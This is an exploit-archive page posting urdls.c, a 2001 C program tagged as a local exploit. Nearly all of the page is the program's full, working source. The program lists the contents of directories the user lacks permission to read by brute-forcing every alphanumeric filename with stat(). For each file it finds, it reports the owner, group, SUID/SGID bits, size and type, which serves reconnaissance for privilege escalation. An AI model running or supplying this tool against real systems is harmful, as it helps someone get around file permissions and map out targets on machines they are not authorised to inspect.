exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

urdls.c

urdls.c
Posted Feb 14, 2001
Authored by vade79, realhalo | Site realhalo.org

Urdls.c is an unreadable directory lister for listing files in directories on the local machine without having permission to do so. Guesses all possible alphanumeric filenames and uses stat() to check for existence.

tags | exploit, local
SHA-256 | 29bcbbdb8adad6126d66e865af9c6707e7c5b9e2bfeb2bf05da25629f38551de

urdls.c

Change Mirror Download
/* URDLS: unreadable directory lister -- v2. *********************************
* urdls.c/urdls[revision2], (alphanumeric) unreadable directory lister. *
* for listing files in directories without having permission to do so. *
* this program goes in a round-up (with 09-AZ-az) fashion, so it supports *
* start and stop points. (argument 3) *
* *
* by: vade79 -> v9[v9@realhalo.org] -> www.fakehalo.org. *
*****************************************************************************/
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#include <signal.h>
#include <sys/stat.h>
#define MAX_DIRECTORY_LEN 4095 /* maximum directory length. */
#define MAX_FILENAME_LEN 255 /* maximum filename length. */
#define MAX_ID_ENTRY_LEN 1024 /* maximum id entry length. */
char file[MAX_FILENAME_LEN+1];
char path[MAX_DIRECTORY_LEN+1];
char fullpath[sizeof(path)+sizeof(file)];
char owner_u[MAX_ID_ENTRY_LEN];
char owner_g[MAX_ID_ENTRY_LEN];
void quit(){
fprintf(stderr,"finished run of: %s (stopped at: %s)\n",path,file);
exit(0);
}
main(int argc,char **argv){
int i=0;
int j=1;
int s=0;
int cpudelay=0;
char setid[5];
char filetype[5];
struct stat mod;
struct passwd *user;
struct group *group;
fprintf(stderr,"[ unreadable directory file lister, by v9[v9@realhalo.org]. ]"
"\n");
if(argc>1){
if(strlen(argv[1])>MAX_DIRECTORY_LEN){
fprintf(stderr,"%s: argument 1 is too large.\n",argv[0]);
exit(1);
}
strncpy(path,argv[1],MAX_DIRECTORY_LEN);
if(path[strlen(path)-1]!=(char)0x2F)
sprintf(path,"%s/",path);
if(stat(path,&mod)||!S_ISDIR(mod.st_mode)){
fprintf(stderr,"%s: argument 1 is an invalid directory.\n",argv[0]);
exit(1);
}
}
else{
fprintf(stderr,"usage: %s <directory> [cpu delay(usecs)] [start value]\n",
argv[0]);
exit(0);
}
if(argc>2){
if(atoi(argv[2])<0){
fprintf(stderr,"%s: argument 2 must be equal or greater than zero.\n",
argv[0]);
exit(1);
}
else
cpudelay=atoi(argv[2]);
}
if(argc>3){
if(strlen(argv[3])>MAX_FILENAME_LEN){
fprintf(stderr,"%s: argument 3 is too large.\n",argv[0]);
exit(1);
}
else{
strcpy(file,argv[3]);
for(i=0;strlen(file)>i;i++)
if(!isalnum(file[i])){
fprintf(stderr,"%s: argument 3 has non-alphanumeric character(s).\n",
argv[0]);
exit(1);
}
}
}
else
file[0]=0x2F;
signal(SIGINT,quit);
fprintf(stderr,"[ directory: %s, delay(usecs): %d, start value: %s. ]\n",path,
cpudelay,file[0]==(char)0x2F?"new session":file);
fprintf(stderr,"num%cowner%cgroup%cprivs%csize%ctype%cfilename\n",0x9,0x9,0x9,
0x9,0x9,0x9);
while(1){
file[strlen(file)-1]++;
for(i=strlen(file);(i+1);i--){
if(file[i]>=(char)0x7B){
if(i){
file[i]=0x30;
file[i-1]++;
}
else{
if(strlen(file)>=MAX_FILENAME_LEN){
fprintf(stderr,"finished run of: %s\n",path);
exit(0);
}
else{
file[0]=0x30;
sprintf(file,"%c%s",0x30,file);
}
}
}
if(file[i]==(char)0x5B)
file[i]=0x61;
if(file[i]==(char)0x3A)
file[i]=0x41;
}
snprintf(fullpath,sizeof(fullpath),"%s%s",path,file);
if(!stat(fullpath,&mod)){
if(!(user=getpwuid(mod.st_uid)))
sprintf(owner_u,"%u",mod.st_uid);
else{
if(user->pw_name)
strncpy(owner_u,user->pw_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_u,"%u",user->pw_uid);
}
if(!(group=getgrgid(mod.st_gid)))
sprintf(owner_g,"%u",mod.st_gid);
else{
if(group->gr_name)
strncpy(owner_g,group->gr_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_g,"%u",group->gr_gid);
}
sprintf(setid,"none");
if(S_ISUID&mod.st_mode)
sprintf(setid,"SUID");
if(S_ISGID&mod.st_mode){
if(S_ISUID&mod.st_mode)
sprintf(setid,"S*ID");
else
sprintf(setid,"SGID");
}
if(S_ISREG(mod.st_mode))
sprintf(filetype,"file");
else if(S_ISLNK(mod.st_mode))
sprintf(filetype,"link");
else if(S_ISDIR(mod.st_mode))
sprintf(filetype,"dir");
else if(S_ISCHR(mod.st_mode))
sprintf(filetype,"cdev");
else if(S_ISBLK(mod.st_mode))
sprintf(filetype,"bdev");
else if(S_ISFIFO(mod.st_mode))
sprintf(filetype,"fifo");
else if(S_ISSOCK(mod.st_mode))
sprintf(filetype,"sock");
fprintf(stderr,"#%d%c%s%c%s%c%s%c%dkb%c%s%c%s\n",j++,0x9,owner_u,0x9,
owner_g,0x9,setid,0x9,(mod.st_size/1024),0x9,filetype,0x9,file);
}
if(cpudelay)
usleep(cpudelay);
}
}

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    11 Files
  • 8
    Dec 8th
    45 Files
  • 9
    Dec 9th
    9 Files
  • 10
    Dec 10th
    6 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close